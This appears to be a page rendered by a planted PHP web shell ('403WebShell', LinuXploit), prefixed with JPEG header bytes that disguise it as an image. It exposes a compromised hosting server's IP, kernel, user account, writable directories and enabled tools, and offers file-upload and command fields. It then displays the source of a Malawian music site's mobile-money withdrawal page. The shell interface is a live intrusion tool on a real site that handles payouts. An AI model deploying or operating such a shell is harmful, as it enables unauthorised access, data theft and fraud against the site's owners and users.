����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.119.19.251
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/malawisounds.com/withdraw.php
<?php
include "connect.php";
include "php/filterFile.php";
?>
<!DOCTYPE html>
<html lang="en" class="no-js">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <meta name="keywords" content="upload, song upload, submit music, submit song, malawi music upload, how to upload music, steps to upload music, malawi sounds upload, upload now">
    <link rel="icon" type="x-icon" href="Icons/malawisounds.ico">
    <link rel="stylesheet" type="text/css" href="./css/animate.css">
    <link rel="stylesheet" type="text/css" href="./css/load.css">
    <link rel="stylesheet" type="text/css" href="./css/w3.css">
    <link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="impact/stylesheet.css" />
    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/component-1.css" />
    <script type="text/javascript" src="js/ajax.js"></script>
    <script type="text/javascript" src="js/sweetalert.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <title>Withdraw Money</title>

    <!--og codes-->
    <meta property="og:url" content="https://malawisounds.com/upload-music" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="Upload and Verify Technique" />
    <meta property="og:image" content="https://malawisounds.com/Icons/upload.jpg" />
    <meta property="og:description" content="Feel the music" />
    <meta property="fb:app_id" content="197362031139140" />
    <!--[if IE]>
	<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
	<![endif]-->

    <!-- remove this if you use Modernizr -->
    <script>
        (function(e, t, n) {
            var r = e.querySelectorAll("html")[0];
            r.className = r.className.replace(/(^|\s)no-js(\s|$)/, "$1js$2")
        })(document, window, 0);
    </script>
</head>

<body>
    <div class="margin">
        <?php include './header.php'; ?>

        <!--Search bar-->
        <input type="text" id="search" placeholder="&#xe003 SEARCH-MUSIC, ARTISTS" onkeyup="findmatch(this.value)" class="glyphicon glyphicon-search">

        <!--search results goes here-->
        <div id="results" class="w3-container w3-light-grey"></div>
        <!-- End of nav Bar -->


        <div class="container payment">
            <div class="row">
                <div class="col-md-6 col-md-offset-3">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                            <h3>Withdraw Page</h3>
                        </div>
                        <div class="panel-body">
                            <form>
                                <div class="form-group">
                                    <label for="mobileNumber">Phone Number</label>
                                    <input type="number" class="form-control" id="phone" placeholder="265xxxxxxxxx">
                                </div>
                                <div class="form-group">
                                    <label for="mobileNumber">Amount</label>
                                    <input type="number" class="form-control" id="amount" placeholder="xxx.xx">
                                </div>
                                <div class="form-group">
                                    <label>Operator</label>
                                    <div class="row">
                                        <div class="col-xs-6">
                                            <div class="mno-option" id="airtelOption">
                                                <img src="./Icons/airtel-money.png" alt="Airtel Money">
                                            </div>
                                        </div>
                                        <div class="col-xs-6">
                                            <div class="mno-option" id="mpambaOption">
                                                <img src="./Icons/mpamba.png" alt="Mpamba">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <input type="hidden" id="description" value="Withdraw">
                                <input type="hidden" id="hidden_provider" name="provider" value="">
                                <div class="bg-danger" id="error"></div>
                                <button type="button" id="withdraw_button" class="btn btn-primary btn-block">Withdraw</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

        </div>
        <!--Footer-->
        <?php include './footer.php'; ?>

    </div>

    <script type="text/javascript" src="js/jquery-3.3.1.min.js"></script>
    <script type="text/javascript" src="js/jquery.form.min.js"></script>
    <script src="./js/wow.js"></script>
    <script src="js/custom-file-input.js"></script>
    <script src="js/all.min.js"></script>
    <script src="./bootstrap/js/bootstrap.min.js"></script>
    <script type="text/javascript" src="js/nav.js"></script>
    <script>
        /* Animated Wow Js */
        new WOW().init();
    </script>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            var data = {
                provider: null,
                price: null,
                phone: null,
                description: null,
            };

            // Get references to form elements
            var phoneInput = document.getElementById('phone');
            var errorSpan = document.getElementById('error');
            var hiddenProviderInput = document.getElementById('hidden_provider');
            var amount = document.getElementById('amount');
            var description = document.getElementById('description');
            var airtelOption = document.getElementById('airtelOption');
            var mpambaOption = document.getElementById('mpambaOption');

            function selectProvider(provider) {
                data.provider = provider;
                hiddenProviderInput.value = provider;

                // Remove 'selected' class from all options
                airtelOption.classList.remove('selected');
                mpambaOption.classList.remove('selected');

                // Add 'selected' class to the selected option
                if (provider === 'Airtel') {
                    airtelOption.classList.add('selected');
                } else if (provider === 'Tnm') {
                    mpambaOption.classList.add('selected');
                }
            }

            // Add click event listeners to the provider options
            airtelOption.addEventListener('click', function() {
                selectProvider('Airtel');
            });

            mpambaOption.addEventListener('click', function() {
                selectProvider('Tnm');
            });

            // Pay function
            function withDraw() {
                data.phone = phoneInput.value;
                data.description = description.value;
                data.price = amount.value;

                if (!data.provider) {
                    swal("", "Please select a provider", "warning");
                    return;
                }

                if (!data.price) {
                    swal("", "Please enter withdraw amount", "warning");
                    return;
                }

                if (!data.phone) {
                    swal("", "Please enter your phone number", "warning");
                    return;
                }

                console.log(data);
                data.action = "withdraw";
                var formData = new FormData();
                for (var key in data) {
                    if (data.hasOwnProperty(key)) {
                        formData.append(key, data[key]);
                    }
                }

                axios.post('./pawapay/process-payout.php', formData)
                    .then(function(res) {
                        console.log(res.data);
                        var credit = res.data;

                        if (credit.error == null) {
                            if (credit.response.status == "ACCEPTED") {
                                checkStatus(credit.response.payoutId);

                            } else if (credit.response.status == "REJECTED") {
                                swal("ERROR", "REJECTED", "error");
                            }
                        } else {
                            swal("ERROR", credit.error, "error");
                        }
                    });
            }


            function checkStatus(id) {
                var url = "https://malawisounds.com/pawapay/check-payout-transaction.php?id=" + id;
                $.getJSON(url, function(data) {
                    var payoutID = data['payoutId'];
                    var status = data['status'];
                    if (payoutID == id) {
                        if (status == 'COMPLETED') {
                            swal("", "Amount Successfully Withdrawn", "success");
                            
                        } else {
                            console.log("Withdraw Failed");
                            swal("ERROR", "Withdraw Failed", "error");
                        }
                    } else {
                        setTimeout(function() {
                            checkStatus(id);
                        }, 2000);
                    }
                });
            }

            // Event listener for the Pay button
            document.getElementById('withdraw_button').addEventListener('click', withDraw);
        });
    </script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit